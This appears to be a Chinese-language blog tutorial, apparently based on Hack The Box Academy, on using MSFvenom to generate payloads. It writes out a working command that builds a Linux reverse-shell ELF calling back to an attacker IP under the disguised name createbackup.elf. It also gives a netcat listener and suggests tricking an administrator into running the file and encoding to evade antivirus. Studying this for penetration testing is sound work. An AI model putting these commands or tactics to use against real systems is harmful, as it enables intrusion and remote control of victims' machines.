MSFvenom
是 Metasploit
框架中的一個工具,用於生成和編碼各種類型的 payload(有效載荷)。
它將原先的兩個工具 msfpayload
和 msfencode
結合在一起,並提供了更簡單、更靈活的使用體驗。
MSFvenom
可以用來創建各種平台(如 Windows
、Linux
、macOS
、Android
等)上的反向連接、綁定 Shell
以及 Meterpreter
等 payload
,並且允許將 payload
打包成多種格式(如 exe
、elf
、apk
等)。
根據目標系統選擇合適的 payload
,支持各種平台。
使用不同的編碼技術來繞過防病毒軟件的檢測。
指定目標 IP
(LHOST
)、端口(LPORT
)、格式(-f
)等參數,來生成具體需求的 payload
。
MSFvenom
生成的 payload
可以用於滲透測試或社會工程攻擊,並可以結合 Metasploit
模塊來自動化攻擊。
在裝有 Metasploit
的環境下,輸入以下 Command
可以看到 payloads
~
msfvenom -l payloads
如果在 Description
有看到 staged
或是 stageless
其實就代表他們分別是分段的或是非分段的 ~
之前有說明過這塊,有興趣的讀者可以翻閱前幾篇的文章閱讀 ~
這邊想要分享的是命名的部分,名字通常會先標示「目標的作業系統」,例如 Linux
、Windows
或 MacOS
等等。接著,你會發現有些有效 payload
會標示為「分段(Staged)」或「無分段(Stageless)」。
幫讀者複習一下這兩者的差異:
分段(Staged)有效 payload:
它會先發送一個小的「階段」到目標機器,執行之後再向攻擊端請求下載剩下的部分,並執行最終的 shell。
這種方式的好處是,我們可以先把一部分東西發過去,等目標機器準備好後再發送剩餘部分。缺點是,這樣的方式會佔用一些記憶體空間,可能導致稍微不穩定。
無分段(Stageless)有效 payload:
一次性把整個攻擊 payload 發送過去,不需要分成多個步驟。這對於網路帶寬有限或網絡延遲較高的環境比較有幫助,因為分段的話可能會因為網路不穩定導致 shell 連不上。
無分段的方式可以減少網路傳輸的次數,某些情況下也更有助於隱藏行動,像是透過社交工程來傳遞的話會更難被偵測。
以 Linux
為例 ~
在確認攻擊目標後,我們可以透過 Msfvenom
建立 payload
並且執行他。
首先,我們假設攻擊目標是 10.10.14.113:443,我們想要生成 payload
並且存到 createbackup.elf
檔案中 ~ 方便往後使用
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f elf > createbackup.elf
參數說明:
-p linux/x64/shell_reverse_tcp:
-p 是指選擇 payload
,這裡選擇的是 linux/x64/shell_reverse_tcp
。linux/x64
表示這個 payload
是針對 64 位 Linux
系統的。
shell_reverse_tcp
表示這是個反向 shell
的有效 payload
,意思是當這個 payload
在目標機器上執行時,它會嘗試與攻擊者的機器進行回連(反向連線),並給攻擊者一個 shell
(命令行介面)來控制目標機器。
LHOST=10.10.14.113:
LHOST
代表攻擊者的 IP 地址。
LPORT=443:
LPORT
是攻擊者設置的用來監聽連接的端口號。
-f elf:
-f
是指定生成的 payload
的文件格式。在這裡,elf
表示生成的文件將是一個 ELF
(Executable and Linkable Format
)檔案,這是 Linux
系統上可執行文件的標準格式。
> createbackup.elf:
這個部分是將生成的 payload
輸出到一個名為 createbackup.elf
的文件中。這個 ELF
文件就是攻擊者準備好的惡意軟體,一旦在目標 Linux
系統上執行,它會嘗試與攻擊者的機器建立連接。
當我們建立好有效 payload
後,我們需要讓受害者無意間執行他 ~
接下來,我們需要想辦法把這個有效載荷傳送到目標系統上!
比較常見的辦法有:
Metasploit
的攻擊模組結合(這可能需要我們已經進入內部網路)。當檔案到達目標系統後,我們還需要讓它被執行。
這時候,最簡單的情境就是,有個管理員不小心點擊到這個檔案 XD
就攻擊成功了,顆顆
因為我們想要讓目標執行的是反向 shell XD
要記得監聽它的 port
啊!
sudo nc -lvnp 443
只能說,有睡飽就是精神飽滿
思緒比較清晰
https://academy.hackthebox.com/